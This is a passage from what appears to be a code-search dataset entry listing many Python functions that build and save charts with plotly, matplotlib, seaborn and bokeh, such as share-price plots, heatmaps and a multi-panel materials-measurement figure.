showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\n fig.update_yaxes(title_text=\"Share Price ($ USD)\",\n showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\n fig.update_layout(legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-0.2, xanchor=\"center\", x=0.5),\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,)\n\n fig.write_image(join('..', 'docs', 'share_prices_all_time.png'), height=700, width=900, engine='kaleido')\n fig.write_html(join('..', 'docs', 'share_prices_all_time.html'))\n fig.show()\n\n recent = data[:data.first_valid_index() - pd.Timedelta(weeks=52)]\n fig = go.Figure()\n for col in data.columns:\n fig.add_trace(go.Scatter(x=recent.index, y=recent[col], mode='lines', name=col))\n fig.update_xaxes(title_text=\"Time\",\n showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\n fig.update_yaxes(title_text=\"Share Price ($ USD)\",\n showline=True, mirror=True, linewidth=1, linecolor='black',\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\n fig.update_layout(legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-0.2, xanchor=\"center\", x=0.5),\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,)\n\n fig.write_image(join('..', 'docs', 'share_prices_past_year.png'), height=700, width=900, engine='kaleido')\n fig.write_html(join('..', 'docs', 'share_prices_past_year.html'))\n fig.show()","def save_as_svg(file_name, path = DEFAULT_PATH):\n plt.ioff()\n plt.savefig(path + file_name + '.svg')\n plt.close()","def scatter(df):\n figs = []\n\n for prop_type in df['property_type'].unique():\n df_filt = df[df['property_type'] == prop_type]\n figs.append(\n go.Scatter(x=df_filt['year'],\n y=df_filt['price_paid'],\n mode='markers',\n marker=dict(\n size=35,\n opacity=0.2,\n line=dict(\n width=1,\n color='darkSlateGrey'\n )\n ),\n name=prop_type,\n connectgaps=True)\n )\n\n layout = go.Layout(width=600,\n height=600,\n title=dict(\n text=\"Individual transactions, 1999 (merged with 1998) and 2020\"),\n xaxis=dict(\n type='category',\n title=\"Year (where 1999 includes 1998 data)\"\n ),\n yaxis=dict(\n title=\"Transaction Value\"\n )\n )\n\n fig = go.Figure(data=figs, layout=layout)\n\n chart = pyo.plot(fig, output_type='div', include_plotlyjs=True)\n\n return chart","def scatter_df_plotly(df, x, y, z, text_fnct = hover_all, \n streaming = True, filename= None):\n layout = Layout(\n title='colour map: %s' % z,\n hovermode='closest', # (!) hover -> closest data pt\n showlegend=False, # remove legend (info in hover)\n autosize=False, # turn off autosize\n width=650, # plot width\n height=500, # plot height\n xaxis=XAxis(\n title= x,\n titlefont=Font(\n family='Courier New, monospace',\n size=14,\n color='#7f7f7f'\n )\n ),\n yaxis=YAxis(\n title= y,\n titlefont=Font(\n family='Courier New, monospace',\n size=14,\n color='#7f7f7f'\n )\n )\n )\n# print('marker sizes:')\n# print(rescale_marker(df[z], square = True))\n SC = Scatter(x=df[x], y = df[y],\n mode='markers',\n marker = Marker(size = rescale_marker(df[z], square = True),\n color = df[z],\n colorscale = 'Jet',\n sizeref = 1,\n sizemode = 'area')\n )\n\n FIG = Figure(data = Data([SC]) , layout=layout ) \n #FIG['layout'].update( )\n \n if text_fnct is not None:\n FIG['data'][0].update(text = \\\n df.apply(lambda ds: text_fnct(ds, x=x, y=y,z=z), axis = 1).tolist() )\n\n if not streaming:\n if filename is not None:\n return py.plot(FIG, filename = filename)\n else:\n return py.plot(FIG)\n else:\n return py.iplot(FIG)","def save_fig(ax_data, file_name):\n with open(file_name,'wb') as fid:\n pickle.dump(ax_data, fid)","def visualize_train_data(train_df, fname):\r\n logger = custom_logger.CustomLogger(run_id+':'+file_id)\r\n fig, axs = plt.subplots(3, figsize=(15,15))\r\n fig.suptitle('EPEX Intraday Continuous market electricity prices')\r\n\r\n axs[0].plot(train_df.index, train_df['low'], color='red')\r\n axs[0].set_title(\"Lowest Price\")\r\n axs[0].set(xlabel='time', ylabel='price (Euros)')\r\n\r\n axs[1].plot(train_df.index, train_df['high'], color='green')\r\n axs[1].set_title(\"Highest Pice\")\r\n axs[1].set(xlabel='time', ylabel='price (Euros)')\r\n\r\n axs[2].plot(train_df.index, train_df['weight_avg'], color='blue')\r\n axs[2].set_title(\"volume-weighted Average Price\")\r\n axs[2].set(xlabel='time', ylabel='price (Euros)')\r\n\r\n fig.savefig(os.path.join(unique_op_dir, fname))\r\n logger.info('Training data plots stored at ', os.path.join(unique_op_dir, fname))","def _repr_svg_(self):\n if not IPythonConsole.ipython_useSVG:\n return None\n mol = self.owner.mol\n keku = IPythonConsole.kekulizeStructures\n size = IPythonConsole.molSize\n opts = IPythonConsole.drawOptions\n return Draw._moltoSVG(\n mol, size, self.aix, \"\", keku, drawOptions=opts, highlightBonds=self.bix\n )","def _repr_svg_(self):\n if not IPythonConsole.ipython_useSVG:\n return None\n mol = self.owner.mol\n keku = IPythonConsole.kekulizeStructures\n size = IPythonConsole.molSize\n opts = IPythonConsole.drawOptions\n return Draw._moltoSVG(\n mol, size, self.aix, \"\", keku, drawOptions=opts, highlightBonds=self.bix\n )","def savefig(filename, **options):\n print(\"Saving figure to file\", filename)\n plt.savefig(filename, **options)","def make_figure(self, traces):\n pass"],"string":"[\n \"def showPlotlyScatter(self, DataFrame, x_axis, y_axis, saving_directory):\\r\\n fig = px.scatter(DataFrame, x = x_axis, y=y_axis, hover_name= DataFrame.index, color= 'Lib_Tag_contour_ratio',\\r\\n hover_data= ['Contour_soma_ratio_Lib', 'Lib_Tag_contour_ratio', 'ImgNameInfor_Lib'], width=1050, height=950)\\r\\n# fig.update_layout(hovermode=\\\"x\\\")\\r\\n fig.write_html(saving_directory, auto_open=True)\",\n \"def data_visualization(df):\\r\\n\\r\\n # Visualizing the target variable\\r\\n plt.figure(figsize=(14, 10))\\r\\n plt.title(\\\"Count of bike sharing according to dates\\\")\\r\\n plt.plot(df['dteday'], df['cnt'])\\r\\n #plt.show()\\r\\n plt.savefig(\\\"Raw data visualization.png\\\")\\r\\n\\r\\n # box plot for visualizing outliers\\r\\n fig=px.box(df, y=\\\"cnt\\\", notched=True,title='Box plot of the count variable')\\r\\n #fig.show()\\r\\n plt.savefig(\\\"Box Plot.png\\\")\\r\\n\\r\\n # point plot for hourly utilization\\r\\n for column in ['season', 'yr', 'mnth', 'holiday', 'weekday', 'workingday', 'weathersit']:\\r\\n hist = px.histogram(df, x=column, y='cnt')\\r\\n hist.show()\\r\\n plt.savefig(\\\"Histogram plots for each column.png\\\")\\r\\n sns.pointplot(x=df['hr'], y='cnt', data=df);\\r\\n plt.title(\\\"Hourly Utilization\\\")\\r\\n plt.ylabel(\\\"Bike Shares\\\", fontsize=12)\\r\\n plt.xlabel(\\\"Hour\\\", fontsize=12)\\r\\n plt.savefig(\\\"Hourly Utilization point plot.png\\\", dpi=300, bbox_inches='tight')\\r\\n\\r\\n # line plot for hourly utilization\\r\\n for c in ['holiday','season','workingday']:\\r\\n sns.lineplot(data=df,x='hr',y='cnt',hue=c)\\r\\n plt.title('Hourly plot vs count')\\r\\n plt.savefig(\\\"Hour vs count plot_main features.png\\\",dpi=300, bbox_inches='tight')\\r\\n\\r\\n # point plots for humidity vs count\\r\\n sns.pointplot(x='hum', y='cnt', data=df)\\r\\n plt.title(\\\"Amount of bike shares vs humidity\\\", fontsize=25)\\r\\n plt.xlabel(\\\"Humidity (%)\\\", fontsize=20)\\r\\n plt.ylabel('count of bike shares', fontsize=20)\\r\\n plt.locator_params(axis='x', nbins=10)\\r\\n plt.savefig(\\\"Pointplot of humidity vs count.png\\\",dpi=300, bbox_inches='tight')\\r\\n\\r\\n # box plots of whole df\\r\\n bx=px.box(df, y=\\\"cnt\\\")\\r\\n bx.show()\\r\\n\\r\\n # feature correlation plot\\r\\n corrs = abs(df.corr())\\r\\n sns.heatmap(corrs, annot=True)\\r\\n plt.title(\\\"Feature Correlation\\\")\\r\\n plt.savefig(\\\"Feature_correlation.png\\\", dpi=300, bbox_inches='tight')\\r\\n return plt\",\n \"def save_local_interactive(fig: go.Figure, name):\\n from plotly.offline import plot\\n plot(fig, filename=name)\",\n \"def save_chart(self, df, filename=\\\"chart.png\\\"):\\n self.quick_go_graph.save_chart(df, filename)\",\n \"def save_plot(p, file_name, path='../static/images/'):\\n p.output_backend = \\\"svg\\\"\\n export_svgs(p, filename=path + file_name + '.svg')\",\n \"def save_render(self, file_name: str) -> None:\\n self.fig.savefig(file_name)\",\n \"def generate_plots_df(type_, df, name, plots_location):\\n plt.cla()\\n plt.clf()\\n if type_ == 'heatmap':\\n plot_ = sns.heatmap(df, annot=True, fmt=\\\".1f\\\")\\n if type_ == 'correlation':\\n plot_ = sns.heatmap(df.corr(), annot=True, fmt=\\\".1f\\\")\\n fig = plot_.get_figure()\\n fig.savefig('{}/{}_{}.png'.format(plots_location, name, type_))\",\n \"def create_figure_file():\\n\\n # Any plotly compliant dict or list that can be converted to json. You can use the Plotly python sdk to construct figures, by adding it to requirements.txt\\n fig = {\\\"data\\\": [{\\\"x\\\": [\\\"giraffes\\\", \\\"orangutans\\\", \\\"monkeys\\\"],\\n \\\"y\\\": [20, 14, 23],\\n \\\"type\\\": \\\"bar\\\"\\n }]}\\n\\n # Dump the dict to a plain text json file. Note that for more advanced data (e.g. including numpy arrays etc) you\\n # may wish to use the serialiser provided with the plotly library\\n name = analysis.output_dir + '/zoo_barchart.json'\\n with open(name, 'w') as outfile:\\n json.dump(fig, outfile)\\n\\n # You can either do this here, or in your main run() function definition (or basically anywhere else you like)...\\n # but you need to add the created file (which is part of the analysis results) to the output results manifest. In\\n # this case we do it here, which has the advantage of keeping file creation and manifesting together; but has the\\n # disadvantage of needing to modify your code to pass the analysis around. If you're unable to alter the API of your\\n # code; no problem - just do all your manifest creation separately (e.g. at the end of the run function)\\n fig_data = {'name': name,\\n 'short_caption': 'A shortened caption',\\n 'caption': 'A longer caption, perhaps including some description of why on earth we would want to see a bar chart of different zoo animals'}\\n # TODO add_to_manifest('figure', name, fig_data)\",\n \"def create_html_report():\\r\\n\\r\\n #Sample DataFrame\\r\\n df = pd.DataFrame(np.random.randn(7,4)\\r\\n ,columns=['one','two','three','four']\\r\\n ,index=['a','b','c','d','e','f','g'])\\r\\n\\r\\n #Formatting rule\\r\\n def color_negative_red(val):\\r\\n color = 'red' if val<0 else 'black'\\r\\n return f'color: {color}'\\r\\n\\r\\n styler = df.style.applymap(color_negative_red)\\r\\n\\r\\n #Chart plotting\\r\\n filename = \\\"\\\".join([APP_ROOT, \\\"\\\\\\\\static\\\\\\\\images\\\\\\\\\\\" , \\\"plot.svg\\\"])\\r\\n #Plot\\r\\n ax = df.plot.bar()\\r\\n fig = ax.get_figure()\\r\\n fig.savefig(filename)\\r\\n\\r\\n #Template handling\\r\\n env = jinja2.Environment(loader=jinja2.FileSystemLoader(searchpath='./templates/'))\\r\\n template = env.get_template('template.html')\\r\\n\\r\\n filename = \\\"file:///\\\" + filename\\r\\n html = template.render(my_table=styler.render(), img_url=filename)\\r\\n\\r\\n return html\",\n \"def plot_what_if(df):\\n fig = go.Figure()\\n for col in df.columns:\\n fig.add_trace(go.Bar(x=df[col].index, y=df[col].values, name=col))\\n fig.update_xaxes(title_text=\\\"Gains/Losses ($ USD)\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=False, zerolinewidth=1, zerolinecolor='lightgrey',\\n showgrid=False, gridwidth=1, gridcolor='lightgrey')\\n fig.update_yaxes(title_text=\\\"Gains/Losses ($ USD)\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=True, zerolinewidth=2, zerolinecolor='grey',\\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\\n fig.update_layout(legend=dict(orientation=\\\"h\\\", yanchor=\\\"bottom\\\", y=-0.25, xanchor=\\\"center\\\", x=0.5),\\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,\\n xaxis=dict(tickmode='linear', tick0=1, dtick=1,))\\n\\n\\n fig.write_image(join('..', 'docs', 'redistribution.png'), height=700, width=900, engine='kaleido')\\n fig.write_html(join('..', 'docs', 'redistribution.html'))\\n fig.show()\",\n \"def save(self, _=None, filename=\\\"SME.html\\\", **kwargs):\\n # Here we \\\"hack\\\" plotly to use base64 encoded data\\n # since we have a lot of data to look at\\n # this reduces the file size by about a factor 3\\n # zipping it would provide another factor 2\\n if filename.endswith(\\\".html\\\"):\\n self.fig.layout.dragmode = \\\"zoom\\\"\\n fig = self.fig.to_plotly_json()\\n # Convert the data to base64\\n for i in range(len(fig[\\\"data\\\"])):\\n for ax in [\\\"x\\\", \\\"y\\\"]:\\n data = np.asarray(fig[\\\"data\\\"][i][ax]).astype(\\\"float32\\\")\\n b64data = b64encode(data).decode(\\\"utf8\\\")\\n fig[\\\"data\\\"][i][ax] = {\\\"data\\\": b64data, \\\"dtype\\\": \\\"float32\\\"}\\n\\n data = json.dumps(fig[\\\"data\\\"])\\n layout = json.dumps(fig[\\\"layout\\\"])\\n # This is the entire html as generated by self.fig.to_html\\n # except we replace the data and layout manually\\n # and transform it from base64 to TypedArrays\\n html = (\\n r\\\"\\\"\\\"<html><head><meta charset=\\\"utf-8\\\" /></head><body><div>\\\"\\\"\\\"\\n r\\\"\\\"\\\"<script type=\\\"text/javascript\\\">window.PlotlyConfig = {MathJaxConfig: 'local'};</script>\\\"\\\"\\\"\\n r\\\"\\\"\\\"<script src=\\\"https://cdn.plot.ly/plotly-latest.min.js\\\"></script>\\\"\\\"\\\"\\n r\\\"\\\"\\\"<div id=\\\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\\\" class=\\\"plotly-graph-div\\\" style=\\\"height:100%; width:100%;\\\"></div>\\\"\\\"\\\"\\n r\\\"\\\"\\\"<script type=\\\"text/javascript\\\">\\\"\\\"\\\"\\n r\\\"\\\"\\\"window.PLOTLYENV=window.PLOTLYENV || {};\\\"\\\"\\\"\\n r\\\"\\\"\\\"if (document.getElementById(\\\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\\\")) {\\\"\\\"\\\"\\n f\\\"data = {data};\\\"\\n f\\\"layout = {layout};\\\"\\n r\\\"\\\"\\\"const FromBase64 = function (str) {return new Uint8Array(atob(str).split('').map(function (c) { return c.charCodeAt(0); }));};\\\"\\\"\\\"\\n r\\\"\\\"\\\"for (let i = 0; i < data.length; i++){\\\"\\\"\\\"\\n r\\\"\\\"\\\"let data_x = data[i].x.data;\\\"\\\"\\\"\\n r\\\"\\\"\\\"let data_y = data[i].y.data;\\\"\\\"\\\"\\n r\\\"\\\"\\\"data[i].x = new Float32Array(FromBase64(data_x).buffer);\\\"\\\"\\\"\\n r\\\"\\\"\\\"data[i].y = new Float32Array(FromBase64(data_y).buffer);\\\"\\\"\\\"\\n r\\\"\\\"\\\"}\\\"\\\"\\\"\\n r\\\"\\\"\\\"Plotly.newPlot(\\\"56dedbe2-a786-4b0b-8232-b68dfd7b9eb5\\\", data, layout, {\\\"responsive\\\": true})};\\\"\\\"\\\"\\n r\\\"\\\"\\\"</script></div></body></html>\\\"\\\"\\\"\\n )\\n # Finally try to minimize if possible\\n if htmlmin is not None:\\n html = htmlmin.minify(html, remove_empty_space=True)\\n with open(filename, \\\"w\\\") as f:\\n f.write(html)\\n\\n else:\\n write_image(self.fig, filename)\",\n \"def generate_stim_figure(self, df: pd.DataFrame):\\n fig, axs = plt.subplots(1, 2, figsize=(10, 5), subplot_kw=dict(aspect=\\\"equal\\\"))\\n for i, col in enumerate(df.columns):\\n non_emptys = df[col] > 0\\n labels = df.index[non_emptys]\\n sizes = df[col].values[non_emptys]\\n wedges, texts, autotexts = axs[i].pie(\\n sizes,\\n labels=labels,\\n autopct=lambda pct: func(pct, sizes),\\n shadow=True,\\n startangle=90,\\n textprops=dict(color=\\\"w\\\"),\\n )\\n axs[i].set(title=col)\\n axs[i].legend(\\n wedges, labels, loc=\\\"center left\\\", bbox_to_anchor=(1, 0, 0.5, 1)\\n )\\n plt.tight_layout()\\n plt.setp(autotexts, size=8, weight=\\\"bold\\\")\\n return fig\",\n \"def send_fig(fig, name):\\n imgdata = BytesIO()\\n fig.savefig(imgdata, format='png')\\n imgdata.seek(0) # rewind the data\\n uri = 'data:image/png;base64,' + urllib.parse.quote(\\n base64.encodebytes(imgdata.getbuffer()))\\n send_action(\\\"update_plot\\\", params={\\\"src\\\": uri, \\\"name\\\": name})\",\n \"def render_plot(filename):\\n \\n file = f\\\"{app.config['FILE_UPLOADS']}/{filename}\\\"\\n df = read_dataset(file)\\n plot_json = generate_dataset_JSON(df)\\n\\n min = str(round(df['y'].min(),2))\\n max = str(round(df['y'].max(),2))\\n mean = str(round(df['y'].mean(),2))\\n std = str(round(df['y'].std(),2))\\n \\n return render_template('render_plot.html', plot_json=plot_json, filename=filename, min=min, max=max, mean=mean, std=std)\",\n \"def graph(df):\\n df.plot()\\n plt.show()\",\n \"def visualize(ui_dict, result_dict, result_df, display=True): \\r\\n ### Generate Bokeh plots\\r\\n # Summarize the consumer's apparent prices\\r\\n nyseg_price_plot = out.describe_nyseg_prices(result_df)\\r\\n # Summarize the consumer's hourly household energy usage\\r\\n hourly_energy_usage_plot = out.describe_energy_usage(result_df)\\r\\n # Summarize daily maximum and minimum battery charges\\r\\n battery_charge_plot = out.describe_battery_charge(result_df, ui_dict)\\r\\n \\r\\n ### Display outputs\\r\\n print(result_dict)\\r\\n print(result_df.info())\\r\\n print(result_df.describe())\\r\\n output_file(filename=out.out_loc(\\\"nyseg_price_plot.html\\\", ui_dict[\\\"run_name\\\"]),\\r\\n title=\\\"Illustration of Hourly Pricing Scheme\\\")\\r\\n if display:\\r\\n show(nyseg_price_plot)\\r\\n else:\\r\\n save(nyseg_price_plot)\\r\\n \\r\\n output_file(filename=out.out_loc(\\\"hourly_energy_usage_plot.html\\\", ui_dict[\\\"run_name\\\"]),\\r\\n title=\\\"Illustration of Hourly Energy Usage\\\")\\r\\n if display:\\r\\n show(hourly_energy_usage_plot)\\r\\n else:\\r\\n save(hourly_energy_usage_plot)\\r\\n \\r\\n output_file(filename=out.out_loc(\\\"battery_charge_plot.html\\\", ui_dict[\\\"run_name\\\"]),\\r\\n title=\\\"Illustration of Battery Charge Behavior\\\")\\r\\n if display:\\r\\n show(battery_charge_plot)\\r\\n else:\\r\\n save(battery_charge_plot)\",\n \"def create_heatmap(df):\\n\\n fig = go.Figure(data=go.Heatmap(\\n z=df.values.tolist(),\\n x=df.columns,\\n #y=[classifier for classifier in df.index.values.tolist()],\\n y = df.index.values.tolist(),\\n hoverongaps = False,\\n xgap = 3,\\n ygap = 3,\\n colorscale=[[0.0, 'rgb(165,0,38)'], [0.1111111111111111, 'rgb(215,48,39)'], [0.2222222222222222, 'rgb(244,109,67)'], [0.3333333333333333, 'rgb(253,174,97)'], [0.4444444444444444, 'rgb(254,224,144)'], [0.5555555555555556, 'rgb(224,243,248)'], [0.6666666666666666, 'rgb(171,217,233)'], [0.7777777777777778, 'rgb(116,173,209)'], [0.8888888888888888, 'rgb(69,117,180)'], [1.0, 'rgb(49,54,149)']]\\n ),\\n )\\n return fig\",\n \"def save_fig(fig, filename):\\n fig_filepath = figures_path / filename\\n fig.write_image(str(fig_filepath))\\n logging.info(f\\\"Written figure to {fig_filepath.resolve()}\\\")\",\n \"def visualize_map_features_row_single_figure(args, seq_id, seq_agents_df, seq_features_df):\\n\\n print(\\\"Visualizing sequence {}.\\\".format(seq_id)) \\n \\n plt.figure(figsize=(8, 7))\\n\\n for index, row in seq_features_df.iterrows():\\n plot_scene(args, seq_id, seq_agents_df, row) \\n \\n plt.xlabel(\\\"Map X\\\")\\n plt.ylabel(\\\"Map Y\\\")\\n plt.axis(\\\"off\\\")\\n plt.title(f\\\"Sequence {seq_id}\\\")\\n plt.savefig(f\\\"{args.feature_dir}/{seq_id}.png\\\")\",\n \"def getFigure():\\r\\n\\r\\n # get merged tables\\r\\n df_com = merge_tables()\\r\\n\\r\\n # list of selected parameters\\r\\n selectedlist = [\\r\\n 'MT-Cu',\\r\\n 'MT-Se',\\r\\n 'MT-Zn',\\r\\n 'BM-milling_time',\\r\\n 'BM-milling_speed',\\r\\n 'HP-hot_press_temperature',\\r\\n 'HP-hot_press_pressure',\\r\\n 'HP-hot_press_time',\\r\\n 'BM-HA-probe_resistance',\\r\\n 'HP-HA-probe_resistance',\\r\\n 'HP-ICP-radio_frequency',\\r\\n 'BM-ICP-radio_frequency',\\r\\n 'BM-ICP-pb_concentration',\\r\\n 'BM-ICP-sn_concentration',\\r\\n 'BM-ICP-o_concentration',\\r\\n 'HP-ICP-pb_concentration',\\r\\n 'HP-ICP-sn_concentration',\\r\\n 'HP-ICP-o_concentration',\\r\\n ]\\r\\n\\r\\n # format data frame\\r\\n df_com = df_com.reset_index()\\r\\n\\r\\n # x axis for plot\\r\\n x_col = 'index'\\r\\n\\r\\n # plotly figure layout options\\r\\n fig = make_subplots(rows=5, cols=6, specs=[\\r\\n [{'colspan': 6},None,None,None,None,None,],\\r\\n [{'rowspan': 1, 'colspan': 3}, None,None, {'rowspan': 1, 'colspan': 3},None,None,], \\r\\n [{'colspan': 2},None,{'colspan': 2},None,{'colspan': 2},None,],\\r\\n [{'rowspan': 1, 'colspan': 3}, None,None,{'rowspan': 1, 'colspan': 3},None, None,],\\r\\n [{'rowspan': 1, 'colspan': 3},None,None,{'rowspan': 1, 'colspan': 3},None,None,]], horizontal_spacing=0.1)\\r\\n\\r\\n # Materials table data plotting\\r\\n y_col1 = selectedlist[0]\\r\\n y_col2 = selectedlist[1]\\r\\n y_col3 = selectedlist[2]\\r\\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col1],\\r\\n marker_color='rgb(55, 83, 109)', name='Cu'), row=1,\\r\\n col=1) # ,offsetgroup=0\\r\\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col2],\\r\\n marker_color='rgb(26, 118, 255)', name='Se'), row=1,\\r\\n col=1)\\r\\n fig.add_trace(go.Bar(x=df_com[x_col], y=df_com[y_col3],\\r\\n marker_color='rgb(0,191,255)', name='Zn'), row=1,\\r\\n col=1)\\r\\n fig.update_xaxes(title_text='Index', showgrid=False, row=1, col=1)\\r\\n fig.update_yaxes(title_text='Raw Material Composition',\\r\\n showgrid=False, row=1, col=1)\\r\\n\\r\\n # Ball milling table data plotting\\r\\n y_col = selectedlist[3]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['BM-milling_time_units'], df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_size=7,\\r\\n marker_color='rgb(0,191,255)',\\r\\n marker_line_width=1,\\r\\n name='',\\r\\n ), row=2, col=1)\\r\\n fig.update_xaxes(title_text='Index', row=2, col=1)\\r\\n fig.update_yaxes(title_text='Ball Milling Time', row=2, col=1)\\r\\n\\r\\n y_col = selectedlist[4]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['BM-milling_speed_units'], df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(0,191,255)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='',\\r\\n ), row=2, col=4)\\r\\n fig.update_xaxes(title_text='Index', row=2, col=4)\\r\\n fig.update_yaxes(title_text='Ball Milling Speed', row=2, col=4)\\r\\n\\r\\n # Hot process table data plotting\\r\\n y_col = selectedlist[5]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='square',\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['HP-hot_press_temperature_units'],\\r\\n df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(55, 83, 109)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='',\\r\\n ), row=3, col=1)\\r\\n fig.update_xaxes(title_text='Index', row=3, col=1)\\r\\n fig.update_yaxes(title_text='Hot Press Temperature', row=3, col=1)\\r\\n\\r\\n y_col = selectedlist[6]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='square',\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['HP-hot_press_pressure_units'], df_com['BM-uid'\\r\\n ])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(55, 83, 109)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='',\\r\\n ), row=3, col=3)\\r\\n fig.update_xaxes(title_text='Index', row=3, col=3)\\r\\n fig.update_yaxes(title_text='Hot Press Pressure', row=3, col=3)\\r\\n\\r\\n\\r\\n y_col = selectedlist[7]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='square',\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['HP-hot_press_time_units'], df_com['BM-uid'\\r\\n ])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(55, 83, 109)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='',\\r\\n ), row=3, col=5)\\r\\n fig.update_xaxes(title_text='Index', row=3, col=5)\\r\\n fig.update_yaxes(title_text='Hot Press Time', row=3, col=5)\\r\\n\\r\\n # Hall measurement table plots\\r\\n y_col = selectedlist[8]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['BM-HA-probe_resistance_units'],\\r\\n df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(35,54,183)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='Ball Mill',\\r\\n ), row=4, col=1)\\r\\n fig.update_xaxes(title_text='Index', row=4, col=1)\\r\\n fig.update_yaxes(title_text='Probe Resistance', row=4, col=1)\\r\\n\\r\\n y_col = selectedlist[9]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='diamond',\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{}<br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['HP-HA-probe_resistance_units'],\\r\\n df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(274,94,91)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='Hot Process',\\r\\n ), row=4, col=1)\\r\\n \\r\\n # ICP measurement table plots\\r\\n y_col = selectedlist[10]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['BM-ICP-radio_frequency_units'],\\r\\n df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(35,54,183)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='Ball Mill',\\r\\n ), row=4, col=4)\\r\\n fig.update_xaxes(title_text='Index', row=4, col=4)\\r\\n fig.update_yaxes(title_text='ICP Radio Frequency', row=4, col=4)\\r\\n\\r\\n y_col = selectedlist[11]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='diamond',\\r\\n mode='markers',\\r\\n hovertemplate='<br>x: %{x}<br>' + 'y: %{y}' + '%{text}',\\r\\n text=['{} <br>{}<br>'.format(i, j) for (i, j) in\\r\\n zip(df_com['HP-ICP-radio_frequency_units'],\\r\\n df_com['BM-uid'])],\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='rgb(274,94,91)',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n name='Hot Process',\\r\\n ), row=4, col=4)\\r\\n \\r\\n # ICP measurement table concentration plots\\r\\n y_col = selectedlist[12]\\r\\n 